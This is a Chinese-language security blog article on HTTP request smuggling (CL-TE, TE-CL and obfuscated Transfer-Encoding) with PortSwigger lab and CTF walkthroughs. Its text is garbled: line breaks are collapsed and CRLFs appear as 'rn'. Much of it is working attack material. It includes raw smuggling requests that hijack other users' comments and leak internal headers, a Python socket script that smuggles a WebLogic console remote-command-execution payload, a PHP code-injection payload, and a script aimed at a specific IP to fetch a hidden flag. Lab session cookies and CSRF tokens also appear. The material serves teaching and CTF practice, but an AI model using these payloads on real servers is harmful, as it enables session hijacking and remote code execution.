https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

POST / HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedb //chunk_sizeq=smuggling6hahaha0 //end[blank][blank]
POST / HTTP/1.1rnHost: 1.comrnContent-Type: application/x-www-form-urlencodedrnTransfer-Encoding: chunkedrnrnbrnq=smugglingrn6rnhahaharn0rnrn
GET / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 43\r\nGET / admin HTTP/1.1\r\nHost: example.com\r\n\r\n
在前端服务器看来它是一个请求,但是在后端服务器来看它就是:
GET / HTTP/1.1rn Host: example.comrn
GET / admin HTTP/1.1rn Host: example.comrn
https://tools.ietf.org/html/rfc7230#section-3.3.3
POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 8\r\nContent-Length: 7\r\n12345\r\na
前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:
GET / HTTP/1.1rn Host: example.comrn
aGET / HTTP/1.1rn Host: example.comrn
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
POST / HTTP/1.1rnHost: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.netrn Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiCrn Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"rn Sec-Ch-Ua-Mobile: ?0rn Sec-Ch-Ua-Platform: "Windows"rn Upgrade-Insecure-Requests: 1rnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36rn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9rn Sec-Fetch-Site: nonern Sec-Fetch-Mode: navigatern Sec-Fetch-User: ?1rn Sec-Fetch-Dest: documentrn Accept-Encoding: gzip, deflatern Accept-Language: zh-CN,zh;q=0.9rn Connection: closern Content-Length: 10rn Transfer-Encoding:chunkedrn rn 0rn rn Arn rn

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
POST / HTTP/1.1Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.netCookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79ZCache-Control: max-age=0Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://portswigger.net/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked12WPOST / HTTP/1.10
多次发送后发现:

前端处理TE读取到0rnrn之后就认为读取完毕发送给后端,而后端处理CL只读取4字节rn12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1rnrn0rnrn就被认为是另一个请求,因此发生了请求报错。
https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
POST / HTTP/1.1Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.netCookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vGCache-Control: max-age=0Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://portswigger.net/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding:chunked //两种TE造成混淆Transfer-Encoding:cow5cWPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15x=10
多次发送后:

Transfer-Encoding:chunkedrn Transfer-Encoding:cowrn
0x04 走私攻击应用实例
https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/
POST / HTTP/1.1Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.netCookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPOContent-Length: 333Transfer-Encoding:chunkedContent-Type: application/x-www-form-urlencoded0POST /post/comment HTTP/1.1Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.netCookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPOContent-Length: 700Content-Type: application/x-www-form-urlencodedcsrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0rnrn认为前半部分是一个正常的请求,而后半部分:
POST /post/comment HTTP/1.1Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.netCookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPOContent-Length: 700Content-Type: application/x-www-form-urlencodedcsrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:
POST /post/comment HTTP/1.1Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.netCookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPOContent-Length: 700Content-Type: application/x-www-form-urlencodedcsrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.netCookie: session=ashAwdweas.......

https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/
POST / HTTP/1.1Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4Content-Type: application/x-www-form-urlencodedContent-Length: 77Transfer-Encoding:chunked0POST / HTTP/1.1Content-Length:70Connection:closesearch=111
多发送几次我们会发现成功泄露出来XFF头信息:

POST / HTTP/1.1Content-Length:70Connection:closesearch=111
POST / HTTP/1.1Content-Length:70Connection:closesearch=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......
最后后端服务器就会将信息响应返回。


GET /a HTTP/1.1 Host: localhost Content-Length: 56 GET /_hidden/index.html HTTP/1.1 Host: notlocalhost
https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81
GET /test HTTP/1.1Host: node4.buuoj.cn:27230Content-Length: 0Transfer-Encoding: chunkedGET /console/login/LoginForm.jsp HTTP/1.1Host: weblogic
import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sSocket.connect(("node4.buuoj.cn", 26319))payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''sSocket.send(payload)sSocket.settimeout(2)response = sSocket.recv(2147483647)while len(response) > 0:print(response.decode())try:response = sSocket.recv(2147483647)except:breaksSocket.close()

calc.php?num=;)phpinfo();//

? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))




https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/



import socketsecret_payload=b'''POST / HTTP/1.1\rHost: 59.110.159.206:7020\rContent-Length: 149\rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Type: application/x-www-form-urlencoded\rSec-Websocket-Key1:x\r\rxxxxxxxxPOST / HTTP/1.1\rHost:127.0.0.1\rsecr3t_ip: 127.0.0.1\rContent-Length: 150\rContent-Type: application/x-www-form-urlencoded\r\rsearch=abc\r\rPOST / HTTP/1.1\rContent-Length: 14\rContent-Type: application/x-www-form-urlencoded\r\rsearch=111\r\r'''final_payload=b'''POST / HTTP/1.1\rHost: 59.110.159.206:7020\rContent-Length: 152\rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\rContent-Type: application/x-www-form-urlencoded\rSec-Websocket-Key1:x\r\rxxxxxxxxGET /fl4g HTTP/1.1\rHost:127.0.0.1\rsecr3t_ip: 127.0.0.1\rContent-Length: 150\rContent-Type: application/x-www-form-urlencoded\r\rsearch=abc\r\rPOST / HTTP/1.1\rContent-Length: 14\rContent-Type: application/x-www-form-urlencoded\r\rsearch=111\r\r'''test1 = b'''POST / HTTP/1.1\rHost: 127.0.0.1\rContent-Length: 67\rSec-Websocket-Key1:x\r\rxxxxxxxxGET /fl4g HTTP/1.1\rHost:127.0.0.1\rContent-Length: 123\r\rGET / HTTP/1.1\rHost: 127.0.0.1\r\r'''test2=b'''POST / HTTP/1.1Host: 59.110.159.206:7020Content-Length: 10Content-Type: application/x-www-form-urlencodedsearch=123'''sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sSocket.connect(("59.110.159.206", 7020))def send(payload):print(payload)sSocket.send(payload)sSocket.settimeout(2)response = sSocket.recv(2147483647)while len(response) > 0:print(response.decode())try:response = sSocket.recv(2147483647)except:breaksSocket.close()if __name__ == '__main__':send(final_payload)

0x06 Reference
https://regilero.github.io/tag/Smuggling/ https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn https://paper.seebug.org/1048 https://xz.aliyun.com/t/7501
本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179712.html
必填 您当前尚未登录。 登录? 注册
必填(保密)